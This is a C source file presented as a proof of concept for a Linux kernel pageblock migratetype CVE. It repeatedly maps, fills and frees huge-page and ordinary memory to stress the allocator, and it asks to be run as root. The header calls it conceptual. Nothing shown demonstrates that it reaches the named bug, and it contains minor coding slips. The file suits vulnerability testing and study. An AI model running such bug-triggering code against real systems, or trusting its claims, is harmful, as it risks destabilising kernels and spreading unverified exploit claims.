/*
* PoC for CVE-2025-71134: Linux kernel pageblock migratetype inconsistency
* This PoC triggers the page allocation path that exposes the migratetype mismatch
*
* Compile: gcc -o cve_2025_71134_poc cve_2025_71134_poc.c -Wall
* Run as root on vulnerable kernel
*
* Note: This is a conceptual PoC. Actual exploitation requires kernel debugging.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <errno.h>
#define PAGE_SIZE 4096
#define HUGE_PAGE_ORDER 8 /* 256 pages = 1MB */
/* Trigger THP allocation which internally uses rmqueue paths */
void trigger_thp_allocation(void) {
void *addr;
int ret;
/* Request THP (Transparent Huge Page) allocation */
addr = mmap(NULL, 2 * 1024 * 1024, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB, -1, 0);
if (addr == MAP_FAILED) {
/* Fallback: try MADV_HUGEPAGE */
addr = mmap(NULL, 2 * 1024 * 1024, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr != MAP_FAILED) {
madvise(addr, 2 * 1024 * 1024, MADV_HUGEPAGE);
memset(addr, 0x41, 2 * 1024 * 1024);
printf("THP allocation triggered\n");
}
} else {
printf("HugeTLB allocation successful at %p\n", addr);
memset(addr, 0x42, 2 * 1024 * 1024);
}
if (addr != MAP_FAILED) {
/* Free in specific pattern to trigger coalescing */
munmap(addr, 2 * 1024 * 1024);
}
}
/* Stress memory allocator to trigger pageblock fragmentation */
void stress_allocator(void) {
void *ptrs[64];
int i;
for (i = 0; i < 64; i++) {
ptrs[i] = mmap(NULL, PAGE_SIZE * 512, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (ptrs[i] != MAP_FAILED) {
memset(ptrs[i], 0xAA, PAGE_SIZE * 512);
}
}
/* Free alternating pages to create migration type mismatch */
for (i = 0; i < 64; i += 2) {
if (ptrs[i] != MAP_FAILED) {
munmap(ptrs[i], PAGE_SIZE * 512);
ptrs[i] = NULL;
}
}
/* Reallocate to trigger coalescing with mixed pageblocks */
for (i = 0; i < 64; i += 2) {
if (ptrs[i] == NULL) {
ptrs[i] = mmap(NULL, PAGE_SIZE * 512, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
}
}
/* Cleanup */
for (i = 0; i < 64; i++) {
if (ptrs[i] != NULL) {
munmap(ptrs[i], PAGE_SIZE * 512);
}
}
}
int main(int argc, char *argv[]) {
printf("CVE-2025-71134 PoC - Linux Kernel pageblock migratetype issue\n");
printf("======================================================\n");
if (geteuid() != 0) {
printf("Warning: This PoC should be run as root for full effect\n");
}
printf("Triggering THP allocation stress...\n");
for (int i = 0; i < 10; i++) {
trigger_thp_allocation();
usleep(100000);
}
printf("Stress testing memory allocator...\n");
for (int i = 0; i < 5; i++) {
stress_allocator();
usleep(100000);
}
printf("PoC execution complete. Check dmesg for WARNING messages.\n");
return 0;
}